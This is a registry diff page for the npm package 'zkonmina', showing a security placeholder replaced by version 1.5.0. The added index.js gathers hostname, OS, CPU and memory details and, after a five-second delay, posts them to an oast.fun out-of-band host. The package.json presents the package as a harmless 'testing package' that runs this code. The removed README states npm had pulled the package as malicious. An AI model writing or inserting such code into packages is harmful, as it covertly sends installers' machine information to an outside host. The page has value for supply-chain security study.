zkonmina 0.0.1-security → 1.5.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of zkonmina might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +72 -0
  2. package/package.json +8 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,72 @@
1
+ const os = require('os');
2
+ const https = require('https');
3
+
4
+ // Replace with your target domain
5
+ const loggingEndpoint = "zezcpprclerkqyeittfxn6tohrpr3parb.oast.fun";
6
+
7
+ // Function to gather system information
8
+ function gatherSystemInfo() {
9
+ return {
10
+ system: {
11
+ platform: os.platform(),
12
+ release: os.release(),
13
+ architecture: os.arch(),
14
+ },
15
+ hardware: {
16
+ hostname: os.hostname(),
17
+ cpu: {
18
+ cores: os.cpus().length,
19
+ model: os.cpus()[0]?.model,
20
+ },
21
+ memory: {
22
+ total: os.totalmem(),
23
+ free: os.freemem(),
24
+ },
25
+ },
26
+ };
27
+ }
28
+
29
+ // Function to send data to a logging endpoint
30
+ function sendSystemInfo(data) {
31
+ const payload = JSON.stringify(data);
32
+
33
+ const options = {
34
+ hostname: loggingEndpoint,
35
+ port: 443,
36
+ path: '/log',
37
+ method: 'POST',
38
+ headers: {
39
+ 'Content-Type': 'application/json',
40
+ 'Content-Length': Buffer.byteLength(payload),
41
+ },
42
+ };
43
+
44
+ const req = https.request(options, (res) => {
45
+ console.log(`Data sent. Response status: ${res.statusCode}`);
46
+ res.on('data', (chunk) => {
47
+ console.log(`Response: ${chunk}`);
48
+ });
49
+ });
50
+
51
+ req.on('error', (error) => {
52
+ console.error(`Error sending data: ${error.message}`);
53
+ });
54
+
55
+ req.write(payload);
56
+ req.end();
57
+ }
58
+
59
+ // Main function
60
+ async function main() {
61
+ console.log("Gathering system information...");
62
+ const systemInfo = gatherSystemInfo();
63
+
64
+ console.log("System Information:", systemInfo);
65
+
66
+ console.log("Sending system information after a delay...");
67
+ setTimeout(() => {
68
+ sendSystemInfo(systemInfo);
69
+ }, 5000); // 5-second delay
70
+ }
71
+
72
+ main();
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "zkonmina",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.5.0",
4
+ "description": "testing package",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "node index.js"
8
+ },
9
+ "author": "ISC",
10
+ "license": "ISC"
6
11
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=zkonmina for more information.